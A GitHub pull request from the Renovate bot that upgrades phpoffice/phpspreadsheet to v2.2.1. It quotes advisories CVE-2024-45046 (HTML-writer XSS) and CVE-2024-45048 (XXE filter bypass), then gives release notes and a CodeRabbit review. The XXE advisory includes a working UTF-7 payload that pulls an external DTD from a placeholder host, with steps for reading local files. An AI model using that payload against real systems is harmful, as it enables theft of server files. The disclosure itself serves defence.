Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chore(deps): update dependency phpoffice/phpspreadsheet to v2 [security] - autoclosed #9

Conversation

renovate[bot]
Copy link

@renovate renovate bot commented Aug 29, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
phpoffice/phpspreadsheet ^1.27 -> ^2.2.1 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-45046

Summary

\PhpOffice\PhpSpreadsheet\Writer\Html doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.

PoC

Example target script:

<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
print($writer->generateHTMLAll());

Save this file in the same directory:
book.xlsx

Open index.php in a web browser. An alert should be displayed.

Impact

Full takeover of the session of users viewing spreadsheet files as HTML.

CVE-2024-45048

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @​ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

  1. Create simple xlsx file
  2. Rename xlsx to zip
  3. Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  4. Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  1. Save sharedStrings.xml file and rename zip back to xlsx.
  2. Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
  1. You will receive the request to your http://%webhook%/file.dtd
  2. Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files
lfi


Release Notes

PHPOffice/PhpSpreadsheet (phpoffice/phpspreadsheet)

v2.2.1

Compare Source

Security Fix
Fixed

v2.2.0

Compare Source

Added
Changed
  • On read, Xlsx Reader had been breaking up union ranges into separate individual ranges. It will now try to preserve range as it was read in. PR #​4042
  • Xlsx/Xls spreadsheet calculation and formatting of dates will use base date of spreadsheet even when spreadsheets with different base dates are simultaneously open. Issue #​1036 Issue #​1635 PR #​4071
Deprecated
  • Writer\Xls\Style\ColorMap is no longer needed.
Moved
  • Nothing
Fixed

v2.1.0

Compare Source

MINOR BREAKING CHANGE
  • Writing of cell comments to Html will now sanitize all Html tags within the comment, so the tags will be rendered as plaintext and have no other effects when rendered. Styling can be achieved by using the Font property of of the TextRuns which make up the comment, as is already the cases for Xlsx. PR #​3957
Added
Changed
  • Nothing
Deprecated
  • Reader/Xml trySimpleXMLLoadString should not have had public visibility, and will be removed.
Removed
  • Nothing
Fixed

v2.0.0

Compare Source

BREAKING CHANGE
  • Typing was strengthened by leveraging native typing. This should not change any behavior. However, if you implement
    any interfaces or inherit from any classes, you will need to adapt your typing accordingly. If you use static analysis
    tools such as PHPStan or Psalm, new errors might be found. If you find actual bugs because of the new typing, please
    open a PR that fixes it with a detailed explanation of the reason. We'll try to merge and release typing-related
    fixes quickly in the coming days. PR #​3718
  • All deprecated things have been removed, for details, see 816b91d0b4
Added
Changed
  • Drop support for PHP 7.4, according to https://phpspreadsheet.readthedocs.io/en/latest/#php-version-support PR #​3713
  • RLM Added to NumberFormatter Currency. This happens depending on release of ICU which Php is using (it does not yet happen with any official release). PhpSpreadsheet will continue to use the value returned by Php, but a method is added to keep the result unchanged from release to release. Issue #​3571 PR #​3640
  • toFormattedString will now always return a string. This was introduced with 1.28.0, but was not properly documented at the time. This can affect the results of toArray, namedRangeToArray, and rangeToArray. PR #​3304
  • Value of constants FORMAT_CURRENCY_EUR and FORMAT_CURRENCY_USD was changed in 1.28.0, but was not properly documented at the time. Issue #​3577
  • Html Writer will attempt to use Chart coordinates to determine image size. Issue #​3783 PR #​3787
Deprecated
  • Functions _translateFormulaToLocale and _translateFormulaEnglish are replaced by versions without leading underscore. PR #​3828
Removed
  • Nothing
Fixed

v1.29.0

Compare Source

Added
Changed
  • Xlsx Color schemes read in will be written out (previously Excel 2007-2010 Color scheme was always written); manipulation of those schemes before write, including restoring prior behavior, is provided PR #​3476
  • Memory and speed optimisations for Read Filters with Xlsx Files and Shared Formulae. PR #​3474
  • Allow CellRange and CellAddress objects for the range argument in the rangeToArray() method. PR #​3494
  • Stock charts will now read and reproduce upDownBars and subsidiary tags; these were previously ignored on read and hard-coded on write. PR #​3515
Deprecated
  • Nothing
Removed
  • Nothing
Fixed

v1.28.0

Compare Source

Added
  • Support for configuring a Chart Title's overlay PR #​3325
  • Wizards for defining Number Format masks for Numbers, Percentages, Scientific, Currency and Accounting PR #​3334
  • Support for fixed value divisor in fractional Number Format Masks PR #​3339
  • Allow More Fonts/Fontnames for Exact Width Calculation PR #​3326 Issue #​3190
  • Allow override of the Value Binder when setting a Cell value PR #​3361
Changed
  • Improved handling for @​ placeholder in Number Format Masks PR #​3344
  • Improved handling for ? placeholder in Number Format Masks PR #​3394
  • Improved support for locale settings and currency codes when matching formatted strings to numerics in the Calculation Engine PR #​3373 and PR #​3374
  • Improved support for locale settings and matching in the Advanced Value Binder PR #​3376
  • toFormattedString will now always return a string. This can affect the results of toArray, namedRangeToArray, and rangeToArray. PR #​3304
  • Value of constants FORMAT_CURRENCY_EUR and FORMAT_CURRENCY_USD is changed. Issue #​3577 PR #​3377
Deprecated
  • Rationalisation of Pre-defined Currency Format Masks PR #​3377
Removed
  • Nothing
Fixed

v1.27.1

Compare Source

Added
  • Nothing
Changed
  • Nothing
Deprecated
  • Nothing
Removed
  • Nothing
Fixed
  • Fix Composer --dev dependency issue with dealerdirect/phpcodesniffer-composer-installer renaming their master branch to main

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link

coderabbitai bot commented Aug 29, 2024

Walkthrough

The change involves updating the version requirement for the phpoffice/phpspreadsheet package in the composer.json file from ^1.27 to ^2.2.1. This adjustment indicates a transition to a newer major version of the library, which may introduce enhancements or breaking changes that could impact the application's functionality and compatibility with other dependencies.

Changes

Files Change Summary
composer.json Updated phpoffice/phpspreadsheet version from ^1.27 to ^2.2.1

Poem

In fields of green, I hop with glee,
A version change, oh joy for me!
From one to two, we leap and bound,
New features sprout from the ground.
With spreadsheets bright, we dance and play,
A rabbit's cheer for a brand new day! 🐇✨


Thank you for using CodeRabbit. We offer it for free to the OSS community and would appreciate your support in helping us grow. If you find it useful, would you consider giving us a shout-out on your favorite social media?

Share
Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>.
    • Generate unit testing code for this file.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai generate unit testing code for this file.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai generate interesting stats about this repository and render them as a table.
    • @coderabbitai show all the console.log statements in this repository.
    • @coderabbitai read src/utils.ts and generate unit testing code.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

Review details

Configuration used: CodeRabbit UI
Review profile: CHILL

Commits

Files that changed from the base of the PR and between 72c76d5 and 1333e50.

Files selected for processing (1)
  • composer.json (1 hunks)
Additional comments not posted (1)
composer.json (1)

26-26: LGTM! Ensure compatibility with the rest of the application.

The update to phpoffice/phpspreadsheet version ^2.2.1 addresses security vulnerabilities and includes various improvements and fixes. However, major version updates may introduce breaking changes. Ensure compatibility with the rest of the application.

Run the following script to verify compatibility:

@renovate renovate bot changed the title chore(deps): update dependency phpoffice/phpspreadsheet to v2 [security] chore(deps): update dependency phpoffice/phpspreadsheet to v2 [security] - autoclosed Sep 4, 2024
@renovate renovate bot closed this Sep 4, 2024
@renovate renovate bot deleted the renovate/packagist-phpoffice-phpspreadsheet-vulnerability branch September 4, 2024 20:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants